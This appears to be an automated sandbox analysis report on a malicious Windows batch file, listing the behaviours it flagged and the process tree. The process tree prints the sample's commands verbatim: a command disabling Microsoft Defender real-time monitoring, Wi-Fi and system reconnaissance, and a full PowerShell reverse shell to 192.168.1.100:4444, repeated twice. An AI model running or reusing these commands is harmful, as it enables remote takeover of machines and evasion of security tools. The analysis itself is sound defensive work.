Analysis

  • max time kernel
    149s
  • max time network
    143s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260629-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260629-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    05/07/2026, 01:09

General

  • Target
    ee.bat
  • Size 1KB
  • Sample260705-bht54abw2j
  • SHA256 6966d9f018dfc4dce763a48d97641e07e7f237499aca4c694364a3b8449ed60a
  • MD5 SHA1 SHA512 TLSH

Malware Config

Signatures

  • Boot or Logon Autostart Execution: Active Setup 2 TTPs 1 IoCs

    Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.

  • Disables one or more Microsoft Defender components 1 TTPs 1 IoCs

    Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.

  • Drops startup file 3 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Using powershell.exe command.

  • Enumerates connected drives 3 TTPs 2 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 3 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

  • System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 2 IoCs

    Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

  • Checks SCSI registry key(s) 3 TTPs 62 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 2 IoCs
  • Gathers network information 2 TTPs 1 IoCs

    Uses commandline utility to view network configuration.

  • Gathers system information 1 TTPs 1 IoCs

    Runs systeminfo.exe.

  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
  • Modifies registry class 39 IoCs
  • Runs ping.exe 1 TTPs 3 IoCs
  • Suspicious behavior: EnumeratesProcesses 9 IoCs
  • Suspicious use of AdjustPrivilegeToken 56 IoCs
  • Suspicious use of FindShellTrayWindow 54 IoCs
  • Suspicious use of SendNotifyMessage 43 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 14 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Uses Volume Shadow Copy WMI provider

    The Volume Shadow Copy service is used to manage backups/snapshots.

  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\ee.bat"
    1⤵
    • Drops startup file
    • Suspicious use of WriteProcessMemory
    PID:5964
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\ee.bat" hide
      2⤵
      • Drops startup file
      • Suspicious use of WriteProcessMemory
      PID:4008
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -command "Set-MpPreference -DisableRealtimeMonitoring $true"
        3⤵
        • Disables one or more Microsoft Defender components
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2736
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c netsh wlan show profiles
        3⤵
        • System Network Configuration Discovery: Wi-Fi Discovery
        • Suspicious use of WriteProcessMemory
        PID:4056
        • C:\Windows\system32\netsh.exe
          netsh wlan show profiles
          4⤵
          • Event Triggered Execution: Netsh Helper DLL
          • System Network Configuration Discovery: Wi-Fi Discovery
          PID:1060
      • C:\Windows\system32\ipconfig.exe
        ipconfig /all
        3⤵
        • Gathers network information
        PID:912
      • C:\Windows\system32\systeminfo.exe
        systeminfo
        3⤵
        • Gathers system information
        PID:1820
      • C:\Windows\system32\PING.EXE
        ping -n 3 192.168.1.100
        3⤵
        • System Network Configuration Discovery: Internet Connection Discovery
        • Runs ping.exe
        PID:5228
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -command "$client = New-Object System.Net.Sockets.TCPClient('192.168.1.100',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1724
      • C:\Windows\system32\timeout.exe
        timeout /t 30 /nobreak
        3⤵
        • Delays execution with timeout.exe
        PID:4300
      • C:\Windows\system32\PING.EXE
        ping -n 3 192.168.1.100
        3⤵
        • System Network Configuration Discovery: Internet Connection Discovery
        • Runs ping.exe
        PID:3008
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -command "$client = New-Object System.Net.Sockets.TCPClient('192.168.1.100',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2356
      • C:\Windows\system32\timeout.exe
        timeout /t 30 /nobreak
        3⤵
        • Delays execution with timeout.exe
        PID:3640
      • C:\Windows\system32\PING.EXE
        ping -n 3 192.168.1.100
        3⤵
        • System Network Configuration Discovery: Internet Connection Discovery
        • Runs ping.exe
        PID:2968
  • C:\Windows\system32\sihost.exe
    sihost.exe
    1⤵
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of WriteProcessMemory
    PID:4808
    • C:\Windows\explorer.exe
      explorer.exe /LOADSAVEDWINDOWS
      2⤵
      • Boot or Logon Autostart Execution: Active Setup
      • Enumerates connected drives
      • Checks SCSI registry key(s)
      • Modifies Internet Explorer settings
      • Modifies registry class
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SendNotifyMessage
      • Suspicious use of SetWindowsHookEx
      PID:1240
  • C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe
    "C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe" -ServerName:CortanaUI.AppXstmwaab17q5s3y22tp6apqz7a45vwv65.mca
    1⤵
    • Modifies registry class
    • Suspicious use of SetWindowsHookEx
    PID:1564
  • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
    "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
    1⤵
    • Modifies registry class
    • Suspicious use of SetWindowsHookEx
    PID:1964

Network

        MITRE ATT&CK Enterprise v16

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        Downloads

        ModuleAnalysisCache

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
        • Size 67KB
        • SHA256 96952b58e7507bfbf6b1edf838d41182ae4f94e983572fa0c037be46d4ab1b05
        • MD5 SHA1 SHA512 SSDEEP TLSH

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 f1e5d82b5a189ea2be5bcb97eaf21b4ff8cb785bf14b9b7d0c3532a3cd068d60
        • MD5 SHA1 SHA512 TLSH

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 9391d29d7333c1ec443322029cf1afc4f4365014c73be40d3b12540bdc96fb21
        • MD5 SHA1 SHA512 TLSH

        prep_Activatable Class_Hermes_perf.cache

        • Path C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\TempState\prep_Activatable Class_Hermes_perf.cache
        • Size 599B
        • SHA256 b536a3dae9ea5c69081f0491eed829e3b57e32401fdf49a63031bcd6b20e6fdb
        • MD5 SHA1 SHA512 TLSH

        __PSScriptPolicyTest_0llk1jyk.ws0.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_0llk1jyk.ws0.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512 TLSH

        memory/1564-41-0x000001A3637D0000-0x000001A3638D0000-memory.dmp

        memory/1564-43-0x000001A3637D0000-0x000001A3638D0000-memory.dmp

        memory/1564-64-0x000001AB68400000-0x000001AB68420000-memory.dmp

        memory/1564-66-0x000001AB78860000-0x000001AB78960000-memory.dmp

        memory/1564-82-0x000001AB68660000-0x000001AB68680000-memory.dmp

        memory/1564-42-0x000001A3637D0000-0x000001A3638D0000-memory.dmp

        memory/1564-96-0x000001AB7A0E0000-0x000001AB7A100000-memory.dmp

        memory/2736-12-0x00007FFE2D420000-0x00007FFE2DDC4000-memory.dmp

        memory/2736-16-0x00007FFE2D420000-0x00007FFE2DDC4000-memory.dmp

        memory/2736-17-0x00007FFE2D420000-0x00007FFE2DDC4000-memory.dmp

        memory/2736-19-0x00007FFE2D420000-0x00007FFE2DDC4000-memory.dmp

        memory/2736-20-0x00007FFE2D420000-0x00007FFE2DDC4000-memory.dmp

        memory/2736-21-0x00007FFE2D420000-0x00007FFE2DDC4000-memory.dmp

        memory/2736-22-0x00007FFE2D420000-0x00007FFE2DDC4000-memory.dmp

        memory/2736-23-0x00007FFE2D420000-0x00007FFE2DDC4000-memory.dmp

        memory/2736-24-0x00007FFE2D420000-0x00007FFE2DDC4000-memory.dmp

        memory/2736-25-0x00007FFE2D420000-0x00007FFE2DDC4000-memory.dmp

        memory/2736-27-0x00007FFE2D420000-0x00007FFE2DDC4000-memory.dmp

        memory/2736-18-0x00007FFE2D420000-0x00007FFE2DDC4000-memory.dmp

        memory/2736-15-0x00007FFE2D420000-0x00007FFE2DDC4000-memory.dmp

        memory/2736-14-0x000001E923AF0000-0x000001E923AFA000-memory.dmp

        memory/2736-11-0x000001E923D00000-0x000001E923D1E000-memory.dmp

        memory/2736-0-0x00007FFE2D5AF000-0x00007FFE2D5B0000-memory.dmp

        memory/2736-13-0x000001E923D20000-0x000001E923DD2000-memory.dmp

        memory/2736-8-0x00007FFE2D420000-0x00007FFE2DDC4000-memory.dmp

        memory/2736-6-0x00007FFE2D420000-0x00007FFE2DDC4000-memory.dmp

        memory/2736-7-0x00007FFE2D420000-0x00007FFE2DDC4000-memory.dmp

        memory/2736-5-0x00007FFE2D420000-0x00007FFE2DDC4000-memory.dmp

        memory/2736-4-0x000001E923A20000-0x000001E923A42000-memory.dmp

        memory/2736-1-0x00007FFE2D420000-0x00007FFE2DDC4000-memory.dmp